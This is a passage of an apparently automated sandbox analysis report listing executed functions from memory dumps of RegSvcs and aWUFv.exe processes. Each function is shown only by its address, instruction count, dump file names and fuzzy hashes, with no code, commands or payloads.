Instruction Fuzzy Hash: E1218D79E012559FDB50DF79D881AAEBBF5EB48250F104069E905EB390D731DC518BA0

Function 06633A68 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6119b6a692257ff6793b371f4ce2335817e63d4117809e629f122d73a2f8d27e
Instruction ID: 1c291eb70e4ede535b077d1692deb125aa35fbb11ae6ad1d0af6aea7883a5275
Opcode Fuzzy Hash: 6119b6a692257ff6793b371f4ce2335817e63d4117809e629f122d73a2f8d27e
Instruction Fuzzy Hash: 2621AC79F0025A9FDB50DF79D980AAEBBF5FB48310F108069E905EB380E730D8118B90

Function 0663AEC0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7abee472d2878ba3ab8ed82b660ab436c96b93281b3ddaba448555f9660c418
Instruction ID: a4b6f6fb6704e18b4395a2209a131cd7eb4e8f29139fbe4edc288f71a3e6a789
Opcode Fuzzy Hash: e7abee472d2878ba3ab8ed82b660ab436c96b93281b3ddaba448555f9660c418
Instruction Fuzzy Hash: 78215E71D1076A8BDF65CFA9C84469EBBB5FF85310F10892AE849EB340DBB09945CB81

Function 00C0D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3368350191.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c0d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f5746b1a8fcb267e1abe8ef70c9aba0aa4e6571195fdfa8e3d5084f4d833f44
Instruction ID: de84dc21d5b9cba22eab03fef2c9d05a35098aa9437dcb6d822bd63cb58661eb
Opcode Fuzzy Hash: 3f5746b1a8fcb267e1abe8ef70c9aba0aa4e6571195fdfa8e3d5084f4d833f44
Instruction Fuzzy Hash: 6621F271604304DFDB14DF54D980B26BBA5EB84318F34C56DE90E4B296C37AD847CA62

Function 00C0D005 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3368350191.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c0d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb05e7e36f6c53d6d6c22b753d9086923e38181a5decdbb8cce00e5fed4577d
Instruction ID: 7715156d0442e6caa09d1ec033067880eda2a49a56474bf96ebe11e5006cb9bf
Opcode Fuzzy Hash: 9bb05e7e36f6c53d6d6c22b753d9086923e38181a5decdbb8cce00e5fed4577d
Instruction Fuzzy Hash: 16215C7150D3C09FCB03CF64D990711BF71AB46214F29C5EBD8898F2A7C23A980ACB62

Function 066368B0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddc53e03e180fbd46daba7fa8926ae0decd9963d60f0e162cba89c9cbfbdb6a
Instruction ID: 93ddd7d0dc0121125624e493ceb378c17fcc34c96679b58f146f73daf296ba0c
Opcode Fuzzy Hash: 6ddc53e03e180fbd46daba7fa8926ae0decd9963d60f0e162cba89c9cbfbdb6a
Instruction Fuzzy Hash: D321B434F00129ABDF94DB69E85469DB7F6EF84310F108479E406DB380DB31DD518B84

Function 06633DB0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9b1de44c2dc6103201734f5653cae8774f5733a3bde2d490b54b9b7ed907fc7
Instruction ID: ec6fd1e2ff0cb20cddee1efd315112757cd4debf72ff1e183a9b9b0b3ef0c39c
Opcode Fuzzy Hash: c9b1de44c2dc6103201734f5653cae8774f5733a3bde2d490b54b9b7ed907fc7
Instruction Fuzzy Hash: F211D231B042A00FEB61867DD85176BBBDADBCA710F14846BE50ACB381EE61CC024395

Function 06633B69 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc03c46edeb2d9e9add127cfff921a0c6175b8ce8eab7c8cbefa1703104098d
Instruction ID: eea28ca874ecff06a5e937b8191caa01ffcd0f66c9515abd560ebb2cd6a0b12a
Opcode Fuzzy Hash: 6bc03c46edeb2d9e9add127cfff921a0c6175b8ce8eab7c8cbefa1703104098d
Instruction Fuzzy Hash: 6701D43AB150691FDB54E5B9EC50AFB73AADBC8650F00403AD40AFB344EE218C0287E1

Function 06633B78 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d98267e786a5216cf18f77d75e6a87797dc91c68d571d61551e7850520969a
Instruction ID: 359269c8b0829e2e805e99ed9c556474301b4a6b1b4afa9057e391d38c524930
Opcode Fuzzy Hash: 60d98267e786a5216cf18f77d75e6a87797dc91c68d571d61551e7850520969a
Instruction Fuzzy Hash: 7C116135B141694FDF54AA79D814AAE73EAEBC8710F008579D407EB354EE25DC028B91

Function 0663ED37 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57bc6acd44463b25c12214950fe50633e268266273bc45f3e28ed9b6de85f32d
Instruction ID: a7082b48168ab01dad0e46831e01e9f15157c2b84886a961086498d15d47ef43
Opcode Fuzzy Hash: 57bc6acd44463b25c12214950fe50633e268266273bc45f3e28ed9b6de85f32d
Instruction Fuzzy Hash: C301B135B105104BDB659A3CD894B6EB7EADBC9620B14C87AE50ECB345EE21EC0287A1

Function 06633830 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe14736ca06f74c4a2453043fa2a3ddb9f065e291c89d28857cb857ddaa5d8e9
Instruction ID: 55b0395413d8ba893cf8916ceac28ba2de1455678525572cabf4dc8d6ec2d270
Opcode Fuzzy Hash: fe14736ca06f74c4a2453043fa2a3ddb9f065e291c89d28857cb857ddaa5d8e9
Instruction Fuzzy Hash: 5521CEB5D01659AFDB00CF9AD984ADEFBB4FB48214F10812AE918B7340D378A954CFA5

Function 06633018 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863028efeb8c1a9d422c779e39ee75c365b6908dd0205e8262d1f3b037ece342
Instruction ID: aba7ea0b96ef5fbe1606e8e77c4b25025a6978138a46f097f3e328c954351ffb
Opcode Fuzzy Hash: 863028efeb8c1a9d422c779e39ee75c365b6908dd0205e8262d1f3b037ece342
Instruction Fuzzy Hash: 7B016D71E002689ACB64DBB9D8515DEFBB5EB88310F10857AD516FB300EB31DA41CBE4

Function 06633838 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435b7c1da700993bbf448abfe5089d174c7b94160672256aabc1ea9703ce7d5b
Instruction ID: 9cdc8567f1bcfbc7ec8c3c0aafb9fe4356ff77a422bb126d3d0eb388ea29b6fe
Opcode Fuzzy Hash: 435b7c1da700993bbf448abfe5089d174c7b94160672256aabc1ea9703ce7d5b
Instruction Fuzzy Hash: 8E11B2B5D01659AFDB00CF9AD884ADEFBB8FB48714F10812AE918B7340D374A954CFA5

Function 0663A2A8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76cb9c7c1b38f545ff0f647f4cf0406cb2df7c50a0e8df1574d217b29bc50af9
Instruction ID: ef6784acf6ecb5d5e75614b77ae70c255ab26b00a4ecf177361feea45decf2c5
Opcode Fuzzy Hash: 76cb9c7c1b38f545ff0f647f4cf0406cb2df7c50a0e8df1574d217b29bc50af9
Instruction Fuzzy Hash: 53012B39B040100FE7A5D6B8E990B6E7BD1DB89710F14446AF54ACF351EE11DC428340

Function 06633DC0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3599a9e70c28b28475ef13482d7f638add83844abdca7bfc27aad9b568904f
Instruction ID: 6d7890ffa0877fb9ccc609949169eeda4b9ddfc0945b2bb55ea3ad2938c62298
Opcode Fuzzy Hash: 7f3599a9e70c28b28475ef13482d7f638add83844abdca7bfc27aad9b568904f
Instruction Fuzzy Hash: 14012830B101600BEBA4967DD45572FB3DADBC9720F10843AF60ECB380EE61DC020384

Function 0663ED48 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53de9a1715194b5b695f525ed731e1f506c8fc98e4395eaba422f017e625e8b6
Instruction ID: c6876370779bb163040676c196fdc81f158b3138737ed31e4c5cb2d653ea569c
Opcode Fuzzy Hash: 53de9a1715194b5b695f525ed731e1f506c8fc98e4395eaba422f017e625e8b6
Instruction Fuzzy Hash: 4E01AF31B100210BDBA5967CD855B6E67DACBC9720F10883AF50ACB380EE22DC0287A5

Function 0663A2B8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f838c2d9983efd62fbca1e40a338380b671b88d547dd38c8d9c23dcfd2d5669f
Instruction ID: 5c3a6046e56670c86b3c057587ef5d81b0cd577d0a9af3f41e2166932b8b1436
Opcode Fuzzy Hash: f838c2d9983efd62fbca1e40a338380b671b88d547dd38c8d9c23dcfd2d5669f
Instruction Fuzzy Hash: 3B01A434B140214FEBA4EABCE855B2E77D6DB89710F108429E50ACB350EE21DC024784

Function 0663C790 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b694fece11de3e39502198d95713b19a6d104731bad757cb4f87039a8ea247fd
Instruction ID: 294056cd8c7a6e359a601853a13c71c895e358b6ae95a88417c7016b4e94f28a
Opcode Fuzzy Hash: b694fece11de3e39502198d95713b19a6d104731bad757cb4f87039a8ea247fd
Instruction Fuzzy Hash: C1012831F10238ABDB64AA79EC45A9DB775FBC4314F00447AF905EB380DB71A9018B90

Function 06637E68 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86b72599c7d4475c0191d5a5c618d79646fec37e05b05b2b343a491bdd29f4c
Instruction ID: 8ea5fadef744ebb91e37136de3067f437fbc4f36ef4e48dbaa5878fc0e87fa4f
Opcode Fuzzy Hash: c86b72599c7d4475c0191d5a5c618d79646fec37e05b05b2b343a491bdd29f4c
Instruction Fuzzy Hash: 21F0F478B04366CFEFA49A54E9802B87FA5EB80311F14846AD904CB345DB31DD05CB98

Function 06636008 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 155765d022927ed5ab7b1306744ce44df1090a45ae4f0a58d5b2b39fdfc0233e
Instruction ID: bed114e63de0731dedfbb5d02b56eea6ab784309aac74a55feadc1338956c12d
Opcode Fuzzy Hash: 155765d022927ed5ab7b1306744ce44df1090a45ae4f0a58d5b2b39fdfc0233e
Instruction Fuzzy Hash: BBE0D8B1E05289BBCB50CAB0DF437AB7B64DB01209F204597D409DB241D337DE0287E1

Function 06636018 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad97bcfd27ce20c8d50684839584d9116cdf5150c6d60d39230fa9fae9579bd
Instruction ID: 1f09cdbddf0e1d78b1318e520cc77d7052f1cf1d2ea1fe612bc1024875916cbd
Opcode Fuzzy Hash: 4ad97bcfd27ce20c8d50684839584d9116cdf5150c6d60d39230fa9fae9579bd
Instruction Fuzzy Hash: 25E08C70E10118ABDF10DAB0CA06B5A77ACDB01214F2088A6D408CB201E273DA0287E0

Analysis Process: aWUFv.exePID: 3884, Parent PID: 4004COMMON

Executed Functions

Function 00E51340 Relevance: .6, Instructions: 594COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c288acdd58ccf424eabc677a3924d79e1e814518776b62c2c8cc8e7a22c151
Instruction ID: 5af5bbb7c55071d1c719144cad6c7768c9b2a68a1db881d76681ff668bd7a7b3
Opcode Fuzzy Hash: 99c288acdd58ccf424eabc677a3924d79e1e814518776b62c2c8cc8e7a22c151
Instruction Fuzzy Hash: A4326D30B00201CFDB18EF74D89076A73A6BBCD346B108969D9569B399EB39EC46CF51

Function 00E50BC0 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f936e7c9d93189592c16e8152a96a6ef59376527dd1dbafb4ac93d1e9ba31c
Instruction ID: 3c687e236954acf828b8f8cba17e07223913fc82b3c74cf95d16b8d8ff594229
Opcode Fuzzy Hash: f5f936e7c9d93189592c16e8152a96a6ef59376527dd1dbafb4ac93d1e9ba31c
Instruction Fuzzy Hash: AE81C535A00341CFDB15AFB4C81879EBBF2EF88301F158969E5126B3A5DB35AD85CB40

Function 00E51230 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dda07e778341dbde999e4f77e06653b0499877264098b470de05ec64ac66c05
Instruction ID: 4a33bfccd2bf792a99d9adba40bd37d8731cff7fc8a4baad3d018d1a7ad52aa8
Opcode Fuzzy Hash: 1dda07e778341dbde999e4f77e06653b0499877264098b470de05ec64ac66c05
Instruction Fuzzy Hash: 1C313C757016518FC719AB38C85891D3BE2AF8A71675108F8E502DF372DE35DC82CB41

Function 00E51240 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a2c2100c44a625dc1bddb28beac364a767d21c82ac51f651b1e5c17c5399ed0
Instruction ID: 13423cab05f815b32df17cc3c7a53312c1941cc78b408e42b95fe0a226c6ebf4
Opcode Fuzzy Hash: 0a2c2100c44a625dc1bddb28beac364a767d21c82ac51f651b1e5c17c5399ed0
Instruction Fuzzy Hash: 8821B575741611CFC759AB38C45891D77E6AF8AB1636108B8E906DF371DE36DC82CB80

Function 00E51C00 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26c7b1a0a9254f89422f8816c4419168d234e342e3d37a691f43bb76de55f09d
Instruction ID: 71625b8d8c6a1cfee19a99df0d603f819415a0a159b5da5f2c6bf07b0b628f35
Opcode Fuzzy Hash: 26c7b1a0a9254f89422f8816c4419168d234e342e3d37a691f43bb76de55f09d
Instruction Fuzzy Hash: F9118E76E042458FCB05EFB4D8409EEFBB5EF8D30071186AAE515EB222E7759905CF90

Function 00E51C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b74cc9cc34c5fa1f45b19051a4fa1c9c8a64cc9c34c0a9fce51fa455c5c5d5
Instruction ID: 51acbb92224cd81c5881273515487aa805ed4e2f7485f3fc8311f5e2740e780f
Opcode Fuzzy Hash: 09b74cc9cc34c5fa1f45b19051a4fa1c9c8a64cc9c34c0a9fce51fa455c5c5d5
Instruction Fuzzy Hash: 03018C36E002059FCB00EFB4D8408ABFBF9FF8C200710866AE5199B221EB70A905CF90

Function 00E50880 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f917729c27f1cfcd0e2d9b1703bbe5b8bb36004a4d6a002e2247800aa2270f3
Instruction ID: 9ff380d0e22237fc7a8febc211cb2d709c15775f479fd10538e1621d7af5224d
Opcode Fuzzy Hash: 4f917729c27f1cfcd0e2d9b1703bbe5b8bb36004a4d6a002e2247800aa2270f3
Instruction Fuzzy Hash: 7801AD61D0E3D45FDB0797B858109EA7FB05E13321F1919EBD8D5E71A3D2204909C7A3

Function 00E50F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6076c1e51442c992f4f95facd62402d68cf24b5726e472fb504c7336817ddf
Instruction ID: a4d403faffef5f9fbfcf9fd4ad7ca44c673cb84712d0add0c2f52fa18fd9804b
Opcode Fuzzy Hash: be6076c1e51442c992f4f95facd62402d68cf24b5726e472fb504c7336817ddf
Instruction Fuzzy Hash: BBF03074A00315CFDB14EF74C5587AE7BF0BB48705F250C98D902A72A0CB748C88CB60

Function 00E51AE0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc36891853b86e1f2c52f6de4df3525ca7efe4895967384630f73cc90e4a06a9
Instruction ID: 87e1ce9d6cdd8272ccf10007df9d4443a39b4d5bee8feb4993b40f6c47d2130e
Opcode Fuzzy Hash: dc36891853b86e1f2c52f6de4df3525ca7efe4895967384630f73cc90e4a06a9
Instruction Fuzzy Hash: 57D012357002149BC710EB75E949B453778AB09711F5141A5E904DB290EA61DC14C7D1

Function 00E508A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2626452013.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_e50000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df9e29460b47037222c7e346439882e47a1c18632adda383c2515ad95fe3e20
Instruction ID: d064d3e8cc4b58401369a75f10f9fb5f3fae8214a8115c33c119e813e7bee393
Opcode Fuzzy Hash: 3df9e29460b47037222c7e346439882e47a1c18632adda383c2515ad95fe3e20
Instruction Fuzzy Hash: 76D067B1D05219AF8B40EFB999096DEBBF8FE09251B114566D919E3200E6705A14CBD1

Analysis Process: aWUFv.exePID: 2120, Parent PID: 4004COMMON

Executed Functions

Function 02801340 Relevance: 10.6, Strings: 8, Instructions: 578COMMON

Download Yara Rule

Strings

D@, xrefs: 028019DB
D@, xrefs: 028019A3
D@, xrefs: 02801A22
D@, xrefs: 02801B1D
D@, xrefs: 02801A64
D@, xrefs: 02801968
D@, xrefs: 02801A9D
D@, xrefs: 02801B2F

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID: D@$D@$D@$D@$D@$D@$D@$D@
API String ID: 0-3736683001
Opcode ID: 76f9278e2ec500f046b258b9dbce1c11e696e8599761a75572785a84d2654f19
Instruction ID: 1c7f2d021e540805ad706353bffe3a8d6d5f0d68a790f9833df3f6cc88c940c4
Opcode Fuzzy Hash: 76f9278e2ec500f046b258b9dbce1c11e696e8599761a75572785a84d2654f19
Instruction Fuzzy Hash: C7329C38B00705CFCB54EF70E89466A73A2BBC8395B148969C41ADB398DB39EC46CB41

Function 02800BC0 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

D@, xrefs: 02800E24

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: 12edb20bf4a1b982ec5c1f72c4fd196691e3827b49bfa9d9bdc0f20c2951db4e
Instruction ID: c2b8ba9be3ae8ac96dbb7b7f0a305938722c09c0bbc7aaa2f49650a71a000f0e
Opcode Fuzzy Hash: 12edb20bf4a1b982ec5c1f72c4fd196691e3827b49bfa9d9bdc0f20c2951db4e
Instruction Fuzzy Hash: 3381D239A00705CFDB159F71D8587AEBBB2EF88350F148569D406AB3A4DF75AC89CB80

Function 02801240 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 554e2fb50c5c4670c8372b1e75e5d960b866acfc6ecc7f5fe4b70d54aa9ea9bc
Instruction ID: 7fd7bf6dddd104e80ccb974845ce8ac239a48c82387a7469571bcf26762e5c5d
Opcode Fuzzy Hash: 554e2fb50c5c4670c8372b1e75e5d960b866acfc6ecc7f5fe4b70d54aa9ea9bc
Instruction Fuzzy Hash: 0721E775701611CFCB59AB38C89881D77E2AF8A71636108B8E506DF3B1DE36DC82CB80

Function 02801C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e11d3329a8c73c7267f5ffd2d6dce36119dd466f5d3638a1c95067a175c6a41e
Instruction ID: f67d942a16c70c3c34103d3ab3aea1a6d24df6da88012df5bc5fe3f8bc79d41f
Opcode Fuzzy Hash: e11d3329a8c73c7267f5ffd2d6dce36119dd466f5d3638a1c95067a175c6a41e
Instruction Fuzzy Hash: 49018036E002059FCB40EFA4D84489FFBF5FF8931071085AAE51997220EB70A911CB90

Function 02800F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8626b05f320293830e87b9b2b527872fdb309bbed8e6f85e849079a7a24841
Instruction ID: d1b199aad1d91343256e6671750afe68fcba1bf6883c65246bc61d964e986d62
Opcode Fuzzy Hash: df8626b05f320293830e87b9b2b527872fdb309bbed8e6f85e849079a7a24841
Instruction Fuzzy Hash: C2F01CB8A00305CFDB18EB64C89C7AE7BB0BB08714F140858D406EB2E0CBB58C84CB51

Function 02801AE0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41934c739781af7eb134519f80b4ea9096e0a53be1df9f37bf5c27a292743817
Instruction ID: 4a27056616245d0b89f5f9828afd33cb38cbc3c45a3da207b23b6cf40e5a00ee
Opcode Fuzzy Hash: 41934c739781af7eb134519f80b4ea9096e0a53be1df9f37bf5c27a292743817
Instruction Fuzzy Hash: D7D012397102149FC714EB79FD49A467778AB09651F504095E508DB291EB61D814C7D1

Function 028008A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2706775804.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2800000_aWUFv.jbxd

Similarity

API ID:
String ID:
API String ID:
